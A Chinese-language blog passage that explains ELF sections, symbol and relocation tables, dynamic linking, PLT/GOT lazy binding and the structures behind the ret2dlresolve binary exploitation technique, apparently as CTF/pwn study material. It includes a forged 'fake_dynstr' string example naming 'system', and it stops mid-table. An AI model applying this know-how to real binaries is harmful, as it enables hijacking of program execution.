&lt;p&gt;在 ELF 文件中，&lt;strong&gt;段&lt;/strong&gt;（Segment）和&lt;strong&gt;节&lt;/strong&gt;（Section）是两个不同的概念，它们在文件结构中具有不同的作用和目的。&lt;/p&gt;
&lt;p&gt;段（Segment）是一种逻辑上的组织单位，它定义了可执行文件或共享库在内存中的一个连续区域。每个段都有自己的虚拟地址空间，可以包含多个节。常见的段类型包括代码段（&lt;code&gt;.text&lt;/code&gt;），数据段（&lt;code&gt;.data&lt;/code&gt;、&lt;code&gt;.bss&lt;/code&gt;），只读数据段（&lt;code&gt;.rodata&lt;/code&gt;）等。段在加载和执行时被操作系统用来管理内存，设置内存保护属性以及指定虚拟地址空间的起始地址和大小。&lt;/p&gt;
&lt;p&gt;节（Section）是一种更细粒度的组织单位，它包含了文件中的特定类型的数据或代码。每个节都有自己的名字、类型和内容。常见的节类型包括代码节（&lt;code&gt;.text&lt;/code&gt;），数据节（&lt;code&gt;.data&lt;/code&gt;、&lt;code&gt;.bss&lt;/code&gt;），只读数据节（&lt;code&gt;.rodata&lt;/code&gt;），符号表节（&lt;code&gt;.symtab&lt;/code&gt;），字符串表节（&lt;code&gt;.strtab&lt;/code&gt;）等。节不直接参与内存的加载和执行，而是用于链接器（Linker）和调试器（Debugger）等工具对文件进行处理和分析。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;通俗的讲，在装载程序的时候为了节省内存会将 ELF 文件中属性相同的节（Section）合并成在一个段（Segment）加载到内存中。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;段和节之间存在对应关系和映射关系：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一个段可以包含多个节，这些节的内容和属性都属于该段。&lt;/li&gt;
&lt;li&gt;段提供了对应于虚拟内存的逻辑映射，而节则提供了对应于文件的逻辑映射。&lt;/li&gt;
&lt;li&gt;段的加载和执行涉及内存管理和地址映射，而节则用于链接和调试过程中的符号解析、重定位等操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;其中 &lt;code&gt;Elf32_Shdr&lt;/code&gt; 定义如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Section header.  */

typedef struct
{
  Elf32_Word	sh_name;		/* Section name (string tbl index) */
  Elf32_Word	sh_type;		/* Section type */
  Elf32_Word	sh_flags;		/* Section flags */
  Elf32_Addr	sh_addr;		/* Section virtual addr at execution */
  Elf32_Off	sh_offset;		/* Section file offset */
  Elf32_Word	sh_size;		/* Section size in bytes */
  Elf32_Word	sh_link;		/* Link to another section */
  Elf32_Word	sh_info;		/* Additional section information */
  Elf32_Word	sh_addralign;		/* Section alignment */
  Elf32_Word	sh_entsize;		/* Entry size if section holds table */
} Elf32_Shdr;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sh_name&lt;/code&gt;：表示节的名称在字符串表中的索引。字符串表节存储了所有节的名称，&lt;code&gt;sh_name&lt;/code&gt; 指定了节的名称在字符串表中的位置。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sh_type&lt;/code&gt;：表示节的类型，指定了节的用途和属性。常见的类型包括代码段（&lt;code&gt;SHT_PROGBITS(1)&lt;/code&gt;）、数据段（&lt;code&gt;SHT_PROGBITS(1)&lt;/code&gt;）、符号表（&lt;code&gt;SHT_SYMTAB(2)&lt;/code&gt;）、字符串表（&lt;code&gt;SHT_STRTAB(3)&lt;/code&gt;）等。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sh_flags&lt;/code&gt;：表示节的标志，用于描述节的特性和属性。标志的具体含义取决于节的类型和上下文。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sh_addr&lt;/code&gt;：表示节的虚拟地址，只在可执行文件中有意义。对于可执行文件，&lt;code&gt;sh_addr&lt;/code&gt; 指定了节在内存中的加载地址，如果该节不可被加载，则该值为 0 。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sh_offset&lt;/code&gt;：表示节在文件中的偏移量，指定了节在文件中的位置。对于 bss 段来说该值没有意义。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sh_size&lt;/code&gt;：表示节的大小，指定了节所占据的字节数。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sh_link&lt;/code&gt;：表示链接到的其他节的索引，用于建立节之间的关联关系，具体含义依赖于节的类型。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sh_info&lt;/code&gt;：附加信息，具体含义依赖于节的类型。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sh_addralign&lt;/code&gt;：表示节的地址对齐要求，指定了节在内存中的对齐方式。即 &lt;code&gt;sh_addr&lt;/code&gt; 需要满足 $sh_addr \mod 2^{sh_addralign} = 0$。如果 &lt;code&gt;sh_addralign&lt;/code&gt; 为 0 或 1 表示该段没有对齐要求。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sh_entsize&lt;/code&gt;：表示节中每个项的大小，如果该字段为 0 说明节中不包含固定大小的项。&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ELF 中常见的节如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.text&lt;/code&gt;：代码段（Code Section），用于存储程序的可执行指令。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.rodata&lt;/code&gt;：只读数据段（Read-Only Data Section），用于存储只读的常量数据，例如字符串常量。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.data&lt;/code&gt;：数据段（Data Section），用于存储已初始化的全局变量和静态变量。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.bss&lt;/code&gt;：未初始化的数据段（Block Started by Symbol），用于存储未初始化的全局变量和静态变量。它不占用实际的文件空间，而是在运行时由系统自动初始化为零。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.symtab&lt;/code&gt;：符号表节（Symbol Table Section），用于存储程序的符号表信息，包括函数、变量和其他符号的名称、类型和地址等。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.strtab&lt;/code&gt;：字符串表节（String Table Section），用于存储字符串数据，如节名称、符号名称等。字符串表节被多个其他节引用，通过偏移量和索引来访问具体的字符串。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.rel.text&lt;/code&gt; 或 &lt;code&gt;.rela.text&lt;/code&gt;：代码重定位节（Relocation Section），用于存储代码段中的重定位信息，以便在链接时修正代码中的符号引用。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.rel.data&lt;/code&gt; 或 &lt;code&gt;.rela.data&lt;/code&gt;：数据重定位节（Relocation Section），用于存储数据段中的重定位信息，以便在链接时修正数据段中的符号引用。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.dynamic&lt;/code&gt;：动态节（Dynamic Section），用于存储程序的动态链接信息，包括动态链接器需要的重定位表、共享对象的名称、版本信息等。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.note&lt;/code&gt;：注释节（Note Section），用于存储与程序或库相关的注释或调试信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;静态链接相关&lt;/h2&gt;
&lt;h3&gt;符号表（.symtab）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;注意：符号表除了静态链接外没有用，但是程序为了方便调试会保留符号表，我们可以通过 &lt;code&gt;strip + 程序名&lt;/code&gt; 的方式将符号表去除，这就是为什么有的 pwn 题的附件没有函数和变量名而有的却有。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ELF 文件中的符号表往往是文件中的一个段，段名一般叫 &lt;code&gt;.symtab&lt;/code&gt; 。符号表是一个 &lt;code&gt;Elf*_Sym&lt;/code&gt; 结构（32 位 ELF 文件）的数组，每个 &lt;code&gt;Elf*_Sym&lt;/code&gt; 结构对应一个符号。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Symbol table entry.  */

typedef struct
{
  Elf32_Word	st_name;		/* Symbol name (string tbl index) */
  Elf32_Addr	st_value;		/* Symbol value */
  Elf32_Word	st_size;		/* Symbol size */
  unsigned char	st_info;		/* Symbol type and binding */
  unsigned char	st_other;		/* Symbol visibility */
  Elf32_Section	st_shndx;		/* Section index */
} Elf32_Sym;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;st_name&lt;/code&gt;：符号名称在&lt;strong&gt;字符串&lt;/strong&gt;表中的偏移量。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;st_value&lt;/code&gt;：符号的值，即符号的地址或偏移量。
&lt;ul&gt;
&lt;li&gt;如果该符号在&lt;strong&gt;目标文件&lt;/strong&gt;中，如果是符号的定义并且该符号不是 &lt;code&gt;COMMON&lt;/code&gt; 块类型的则 &lt;code&gt;st_value&lt;/code&gt; 表示该符号在段中的&lt;strong&gt;偏移&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;在&lt;strong&gt;目标文件&lt;/strong&gt;中，如果符号是 &lt;code&gt;COMMON&lt;/code&gt; 块类型的则 &lt;code&gt;st_value&lt;/code&gt; 表示该符号的&lt;strong&gt;对齐属性&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;在&lt;strong&gt;可执行文件&lt;/strong&gt;中，&lt;code&gt;st_value&lt;/code&gt; 表示符号的&lt;strong&gt;虚拟地址&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;st_size&lt;/code&gt;：符号的大小，如果符号是一个函数，则表示函数的大小。如果该值为 0 表示符号的大小为 0 或未知。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;st_info&lt;/code&gt;：该字段是一个字节，包含符号的类型和绑定信息。符号类型包括函数、数据、对象等，符号绑定包括局部符号、全局符号、弱符号等。该字段的高 4 位表示符号的类型，低 4 位表示符号的绑定信息。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;st_other&lt;/code&gt;：保留字段，通常为 0 。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;st_shndx&lt;/code&gt;：通常为符号所在&lt;strong&gt;节&lt;/strong&gt;的索引。
&lt;ul&gt;
&lt;li&gt;如果符号是一个常量，该字段为 &lt;code&gt;SHN_ABS&lt;/code&gt;（初始值不为 0 的全局变量） 或 &lt;code&gt;SHN_COMMON&lt;/code&gt;（初始值为 0 的全局变量）。&lt;/li&gt;
&lt;li&gt;如果该符号未定义但是在该文件中被引用到，说明该符号可能定义在其他目标文件中，则该字段为 &lt;code&gt;SHN_UNDEF&lt;/code&gt; 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;重定位表（.rel.text/.rel.data）&lt;/h3&gt;
&lt;p&gt;重定位表是一个 &lt;code&gt;Elf*_Rel&lt;/code&gt; 结构的数组，每个数组元素对应一个重定位入口。重定位表主要有&lt;code&gt;.rel.text&lt;/code&gt; 或 &lt;code&gt;.rela.text&lt;/code&gt;，即代码重定位节（Relocation Section）和 &lt;code&gt;.rel.data&lt;/code&gt; 或 &lt;code&gt;.rela.data&lt;/code&gt;：数据重定位节（Relocation Section）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Relocation table entry without addend (in section of type SHT_REL).  */

typedef struct
{
  Elf32_Addr	r_offset;		/* Address */
  Elf32_Word	r_info;			/* Relocation type and symbol index */
} Elf32_Rel;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;r_offset&lt;/code&gt;：需要进行重定位的位置的偏移量或地址。这个位置通常是指令中的某个操作数或数据的地址，需要在链接时进行修正，以便正确地引用目标符号。
&lt;ul&gt;
&lt;li&gt;对于可执行文件或共享库，&lt;code&gt;r_offset&lt;/code&gt; 表示需要修改的位置在内存中的位置（用于动态链接）。&lt;/li&gt;
&lt;li&gt;对于&lt;strong&gt;可重定位文件&lt;/strong&gt;，&lt;code&gt;r_offset&lt;/code&gt; 表示需要修改的位置相对于段起始位置的偏移（用于静态链接）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r_info&lt;/code&gt;：低 8 位表示符号的重定位类型，重定位类型指定了进行何种类型的修正，例如绝对重定位、PC 相对重定位等。高 24 位表示该符号在&lt;strong&gt;符号表&lt;/strong&gt;中的索引，用于解析重定位所引用的符号。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;字符串表（.strtab）&lt;/h3&gt;
&lt;p&gt;ELF 文件中用到了很多字符串，比如段名、变量名等。因为字符串的长度往往是不定的，所以用固定的结构来表示它比较困难。一种很常见的做法是把字符串集中起来存放到一个表，然后使用字符串在表中的偏移来引用字符串。&lt;/p&gt;
&lt;p&gt;通过这种方法，在ELF文件中引用字符串只须给出一个数字下标即可，不用考虑字符串长度的问题。一般字符串表在ELF文件中也以段的形式保存，常见的段名为&quot;&lt;code&gt;.strtab&lt;/code&gt;&quot;或&quot;&lt;code&gt;.shstrtab&lt;/code&gt;&quot;。这两个字符串表分别为字符串表（String Table）和段表字符串表（Section Header String Table）。顾名思义，字符串表用来保存普通的字符串，比如符号的名字；段表字符串表用来保存段表中用到的字符串，最常见的就是段名（&lt;code&gt;sh_name&lt;/code&gt; ）。&lt;/p&gt;
&lt;p&gt;注意，在字符串表中的每个字符串的&lt;strong&gt;开头&lt;/strong&gt;和&lt;strong&gt;结尾&lt;/strong&gt;都有一个 &lt;code&gt;\x00&lt;/code&gt; 填充。
例如：&lt;code&gt;fake_dynstr = &apos;\x00libc.so.6\x00_IO_stdin_used\x00stdin\x00strlen\x00read\x00stdout\x00setbuf\x00__libc_start_main\x00system\x00&apos;&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;动态链接相关&lt;/h2&gt;
&lt;h3&gt;.interp 段&lt;/h3&gt;
&lt;p&gt;在动态链接的 ELF 可执行文件中，有一个专门的段叫做 &lt;code&gt;.interp&lt;/code&gt; 段（&quot;interp&quot;是&quot;interpreter&quot;（解释器）的缩写）。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;.interp&lt;/code&gt; 的内容很简单，里面保存的就是一个字符串 &lt;code&gt;/lib64/ld-linux-x86-64.so.2&lt;/code&gt; ，这个字符串就是可执行文件所需要的动态链接器的路径。&lt;/p&gt;
&lt;p&gt;通常系统通过判断一个 ELF 程序是否有 &lt;code&gt;.interp&lt;/code&gt; 来判断该 ELF 文件是否为动态链接程序。&lt;/p&gt;
&lt;h3&gt;.dynamic 段&lt;/h3&gt;
&lt;p&gt;动态链接 ELF 中最重要的结构是 &lt;code&gt;.dynamic&lt;/code&gt; 段，这个段里面保存了动态链接器所需要的基本信息，比如依赖于哪些共享对象、动态链接符号表的位置、动态链接重定位表的位置、共享对象初始化代码的地址等。&lt;code&gt;.dynamic&lt;/code&gt; 段是由&lt;code&gt;Elf*_Dyn&lt;/code&gt; 构成的结构体数组。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Dynamic section entry.  */

typedef struct
{
  Elf32_Sword	d_tag;			/* Dynamic entry type */
  union
    {
      Elf32_Word d_val;			/* Integer value */
      Elf32_Addr d_ptr;			/* Address value */
    } d_un;
} Elf32_Dyn;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Elf32_Dyn&lt;/code&gt; 结构由一个类型值加上一个附加的数值或指针，对于不同的类型，后面附加的数值或者指针有着不同的含义。我们这里列举几个比较常见的类型值（这些值都是定义在 &lt;code&gt;elf.h&lt;/code&gt; 里面的宏），&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DT_SYMTAB&lt;/code&gt;：指定了符号表的地址，&lt;code&gt;d_ptr&lt;/code&gt; 表示 &lt;code&gt;.dynsym&lt;/code&gt; 的地址。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DT_STRTAB&lt;/code&gt;：指定了字符串表的地址，&lt;code&gt;d_ptr&lt;/code&gt; 表示 &lt;code&gt;.synstr&lt;/code&gt; 的地址。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DT_STRSZ&lt;/code&gt;：指定了字符串表的大小，&lt;code&gt;d_val&lt;/code&gt; 表示大小。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DT_HASH&lt;/code&gt;：指定了符号哈希表的地址，用于加快符号查找的速度，&lt;code&gt;d_ptr&lt;/code&gt; 表示 &lt;code&gt;.hash&lt;/code&gt; 的地址。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DT_SONAME&lt;/code&gt;：指定了共享库的名称。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DT_RPATH&lt;/code&gt;：指定了库搜索路径（已废弃，不推荐使用）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DT_INIT&lt;/code&gt;：指定了初始化函数的地址，动态链接器在加载可执行文件或共享库时会调用该函数。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DT_FINI&lt;/code&gt;：指定了终止函数的地址，动态链接器在程序结束时会调用该函数。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DT_NEEDED&lt;/code&gt;：指定了需要的共享库的名称。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DT_REL/DT_RELA&lt;/code&gt;：指定了重定位表的地址。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;动态符号表（.dynsym）&lt;/h3&gt;
&lt;p&gt;为了完成动态链接，最关键的还是所依赖的符号和相关文件的信息。我们知道在静态链接中，有一个专门的段叫做符号表 &lt;code&gt;.symtab&lt;/code&gt;（Symbol Table），里面保存了所有关于该目标文件的符号的定义和引用。为了表示动态链接这些模块之间的符号导入导出关系，ELF 专门有一个叫做动态符号表（Dynamic Symbol Table）的段用来保存这些信息，这个段的段名通常叫做 &lt;code&gt;.dynsym&lt;/code&gt;（Dynamic Symbol），同样也是由 &lt;code&gt;Elf*_Sym&lt;/code&gt; 构成的结构体数组。&lt;/p&gt;
&lt;p&gt;与 &lt;code&gt;.symtab&lt;/code&gt; 不同的是，&lt;code&gt;.dynsym&lt;/code&gt; 只保存了与动态链接相关的符号，对于那些模块内部的符号，比如模块私有变量则不保存。很多时候动态链接的模块同时拥有 &lt;code&gt;.dynsym&lt;/code&gt; 和 &lt;code&gt;.symtab&lt;/code&gt; 两个表，&lt;code&gt;.symtab&lt;/code&gt; 中往往保存了所有符号，包括 &lt;code&gt;.dynsym&lt;/code&gt; 中的符号。&lt;/p&gt;
&lt;p&gt;与 &lt;code&gt;.symtab&lt;/code&gt; 类似，动态符号表也需要一些辅助的表，比如用于保存符号名的字符串表。静态链接时叫做符号字符串表 &lt;code&gt;.strtab&lt;/code&gt;（String Table），在这里就是动态符号字符串表 &lt;code&gt;.dynstr&lt;/code&gt;（Dynamic String Table）；由于动态链接下，我们需要在程序运行时查找符号，为了加快符号的查找过程，往往还有辅助的符号哈希表（&lt;code&gt;.hash&lt;/code&gt;）。&lt;/p&gt;
&lt;h3&gt;动态链接重定位表（.rel.dyn/.rel.data）&lt;/h3&gt;
&lt;p&gt;共享对象需要重定位的主要原因是导入符号的存在。动态链接下，无论是可执行文件或共享对象，一旦它依赖于其他共享对象，也就是说有导入的符号时，那么它的代码或数据中就会有对于导入符号的引用。在编译时这些导入符号的地址未知，在静态链接中，这些未知的地址引用在最终链接时被修正。但是在动态链接中，导入符号的地址在运行时才确定，所以需要在运行时将这些导入符号的引用修正，即需要重定位。&lt;/p&gt;
&lt;p&gt;共享对象的重定位与我们在前面&quot;静态链接&quot;中分析过的目标文件的重定位十分类似，唯一有区别的是目标文件的重定位是在静态链接时完成的，而共享对象的重定位是在装载时完成的。在静态链接中，目标文件里面包含有专门用于表示重定位信息的重定位表，比如 &lt;code&gt;.rel.text&lt;/code&gt; 表示是代码段的重定位表，&lt;code&gt;.rel.data&lt;/code&gt; 是数据段的重定位表。&lt;/p&gt;
&lt;p&gt;动态链接的文件中，也有类似的重定位表分别叫做 &lt;code&gt;.rel.dyn&lt;/code&gt; 和 &lt;code&gt;.rel.plt&lt;/code&gt; ，它们分别相当于 &lt;code&gt;.rel.data&lt;/code&gt; 和 &lt;code&gt;.rel.text&lt;/code&gt; 。&lt;code&gt;.rel.dyn&lt;/code&gt; 实际上是对数据引用的修正，它所修正的位置位于 &lt;code&gt;.got&lt;/code&gt; 以及数据段；而 &lt;code&gt;.rel.plt&lt;/code&gt; 是对函数引用的修正，它所修正的位置位于 &lt;code&gt;.got.plt&lt;/code&gt; 。&lt;/p&gt;
&lt;h3&gt;PLT 表（.plt）&lt;/h3&gt;
&lt;p&gt;在未开启 FULL RELRO 的情况下 PLT 表的结构如下图所示， PLT 表在 &lt;code&gt;.plt&lt;/code&gt;（有的还包括 &lt;code&gt;.plt.got&lt;/code&gt;） 中。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-plt-no-relro.png&quot; alt=&quot;PLT 表结构（无 RELRO）&quot; /&gt;&lt;/p&gt;
&lt;p&gt;PLT 表的形式如下所示：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-plt-form.png&quot; alt=&quot;PLT 表形式&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其中 n 为函数 &lt;code&gt;bar&lt;/code&gt; 在 GOT 表中的值的索引，&lt;code&gt;bar@GOT&lt;/code&gt; 中初始值为 &lt;code&gt;jmp *(bar@GOT)&lt;/code&gt; 指令的下一条指令，也就是说第一次调用 &lt;code&gt;bar&lt;/code&gt; 函数的时候会继续执行跳转至 &lt;code&gt;PLT0&lt;/code&gt; 进行 &lt;code&gt;bar@GOT&lt;/code&gt; 的重定位并调用 &lt;code&gt;bar&lt;/code&gt; 函数；第二次调用 &lt;code&gt;bar&lt;/code&gt; 函数的时候由于 &lt;code&gt;bar@GOT&lt;/code&gt; 已完成重定位因此会直接跳转至 &lt;code&gt;bar&lt;/code&gt; 函数。&lt;/p&gt;
&lt;p&gt;在开启 FULL RELRO 的情况下 PLT 表的结构如下图所示，此时的 PLT 表在 &lt;code&gt;.plt.sec&lt;/code&gt; 而不是 &lt;code&gt;.plt&lt;/code&gt; 中。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-plt-full-relro.png&quot; alt=&quot;PLT 表结构（FULL RELRO）&quot; /&gt;&lt;/p&gt;
&lt;p&gt;由于 GOT 表在装载时已经完成重定位且不可写，因此不存在延迟绑定，PLT 直接根据 GOT 表存储的函数地址进行跳转。&lt;/p&gt;
&lt;h3&gt;GOT 表（.got/.got.plt）&lt;/h3&gt;
&lt;p&gt;ELF 将 GOT 拆分成了两个表叫做 &lt;code&gt;.got&lt;/code&gt; 和 &lt;code&gt;.got.plt&lt;/code&gt; 。其中 &lt;code&gt;.got&lt;/code&gt; 用来保存全局变量引用的地址，&lt;code&gt;.got.plt&lt;/code&gt; 用来保存函数引用的地址，也就是说，所有对于外部函数的引用全部被分离出来放到了 &lt;code&gt;.got.plt&lt;/code&gt; 中（当然有的 ELF 文件可能把这两个表合并为一个 &lt;code&gt;.got&lt;/code&gt; 表，结构等同于后面提到的 &lt;code&gt;.got.plt&lt;/code&gt;）。另外 &lt;code&gt;.got.plt&lt;/code&gt; 还有一个特殊的地方是它的前三项是有特殊意义的，分别含义如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一项保存的是 &lt;code&gt;.dynamic&lt;/code&gt; 段的偏移（也有可能是 &lt;code&gt;.dynamic&lt;/code&gt; 段的地址）。&lt;/li&gt;
&lt;li&gt;第二项是一个 &lt;code&gt;link_map&lt;/code&gt; 的结构体指针，里面保存着动态链接的一些相关信息，是重定位函数 &lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 的第一个参数。&lt;/li&gt;
&lt;li&gt;第三项保存的是 &lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 的地址。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;延迟绑定流程梳理&lt;/h2&gt;
&lt;p&gt;第一次调用 puts：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-lazy-binding-1st.png&quot; alt=&quot;延迟绑定第一次调用&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二次调用 puts：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-lazy-binding-2nd.png&quot; alt=&quot;延迟绑定第二次调用&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其中在第一次调用 &lt;code&gt;puts&lt;/code&gt; 函数时调用的 &lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 函数的具体实现为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用第一个参数 &lt;code&gt;link_map&lt;/code&gt; 访问 &lt;code&gt;.dynamic&lt;/code&gt; ，取出 &lt;code&gt;.dynstr&lt;/code&gt; ， &lt;code&gt;.dynsym&lt;/code&gt; ， &lt;code&gt;.rel.plt&lt;/code&gt; 的指针。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.rel.plt + 第二个参数&lt;/code&gt; 求出当前函数的重定位表项 &lt;code&gt;Elf32_Rel&lt;/code&gt; 的指针，记作 &lt;code&gt;rel&lt;/code&gt; 。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rel-&amp;gt;r_info &amp;gt;&amp;gt; 8&lt;/code&gt; 作为 &lt;code&gt;.dynsym&lt;/code&gt; 的下标，求出当前函数的符号表项 &lt;code&gt;Elf32_Sym&lt;/code&gt; 的指针，记作 &lt;code&gt;sym&lt;/code&gt; 。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.dynstr + sym-&amp;gt;st_name&lt;/code&gt; 得出符号名字符串指针。&lt;/li&gt;
&lt;li&gt;在动态链接库查找这个函数的地址，并且把地址赋值给 &lt;code&gt;*rel-&amp;gt;r_offset&lt;/code&gt; ，即 GOT 表。&lt;/li&gt;
&lt;li&gt;调用这个函数。&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;ret2dlresolve&lt;/h1&gt;
&lt;h2&gt;相关结构&lt;/h2&gt;
&lt;p&gt;主要有 &lt;code&gt;.dynamic&lt;/code&gt; 、&lt;code&gt;.dynstr&lt;/code&gt; 、&lt;code&gt;.dynsym&lt;/code&gt; 和 &lt;code&gt;.rel.plt&lt;/code&gt; 四个重要的 section 。&lt;/p&gt;
&lt;p&gt;结构及关系如下图（以 32 位为例）：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-rel-structures.png&quot; alt=&quot;ret2dlresolve 结构关系图&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Dyn&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* Dynamic section entry.  */

typedef struct
{
  Elf32_Sword	d_tag;			/* Dynamic entry type */
  union
    {
      Elf32_Word d_val;			/* Integer value */
      Elf32_Addr d_ptr;			/* Address value */
    } d_un;
} Elf32_Dyn;

typedef struct
{
  Elf64_Sxword	d_tag;			/* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;		/* Integer value */
      Elf64_Addr d_ptr;			/* Address value */
    } d_un;
} Elf64_Dyn;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dyn 结构体用于描述动态链接时需要使用到的信息，其成员含义如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;d_tag&lt;/code&gt; 表示标记值，指明了该结构体的具体类型。比如，&lt;code&gt;DT_NEEDED&lt;/code&gt; 表示需要链接的库名，&lt;code&gt;DT_PLTRELSZ&lt;/code&gt; 表示 PLT 重定位表的大小等。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;d_un&lt;/code&gt; 是一个联合体，用于存储不同类型的信息。具体含义取决于 &lt;code&gt;d_tag&lt;/code&gt; 的值。
&lt;ul&gt;
&lt;li&gt;如果 &lt;code&gt;d_tag&lt;/code&gt; 的值是一个整数类型，则用 &lt;code&gt;d_val&lt;/code&gt; 存储它的值。&lt;/li&gt;
&lt;li&gt;如果 &lt;code&gt;d_tag&lt;/code&gt; 的值是一个指针类型，则用 &lt;code&gt;d_ptr&lt;/code&gt; 存储它的值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;d_tag类型&lt;/th&gt;
&lt;th&gt;d_un定义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;#define DT_STRTAB 5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;动态链接字符串表的地址，&lt;code&gt;d_ptr&lt;/code&gt;表示&lt;code&gt;.dynstr&lt;/code&gt;的地址 (Address of string table)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;#define DT_SYMTAB 6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;动态链接符号表的地址，&lt;code&gt;d_ptr&lt;/code&gt;表示&lt;code&gt;.dynsym&lt;/code&gt;的地址 (Address of symbol table)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;#define DT_JMPREL 23&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;动态链接重定位表的地址，&lt;code&gt;d_ptr&lt;/code&gt;表示&lt;code&gt;.rel.plt&lt;/code&gt;的地址 (Address of PLT relocs)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;#define DT_RELENT 19&lt;/code&gt;&lt;/td&gt;
